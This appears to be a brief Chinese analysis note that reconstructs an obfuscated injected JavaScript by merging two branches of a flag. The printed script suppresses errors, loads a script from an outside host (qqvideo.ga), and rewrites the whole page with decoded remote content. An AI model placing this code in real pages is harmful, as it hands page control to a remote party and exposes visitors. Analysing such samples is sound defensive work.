将 c35 分别等于 true 和 false 可以得到两份代码,然后将两份代码合并就能得到完整代码
----------------------
onerror = function () { return true };
function URLdecode(str) {
var ret = "";
for (var i = 0;
i < str.length;
i++) {
var chr = str.charAt(i);
if (chr == "+") { ret += " " } else if (chr == "%") {
var asc = str.substring(i + 1, i + 3);
if (parseInt("0x" + asc) > 0x7f) {
ret += decodeURI("%" + str.substring(i + 1, i + 9));
i += 8
} else {
ret += String.fromCharCode(parseInt("0x" + asc));
i += 2
}
} else { ret += chr }
} return ret
}
function callback_vs(req) {
document.open("text/html", "replace");
document.write(URLdecode(atob(req.content)));
document.close()
}
var vs = document.createElement("script");
vs.src = "
http://www.qqvideo.ga/xml.php?ac==c";
document.head.appendChild(vs);
-----------------------------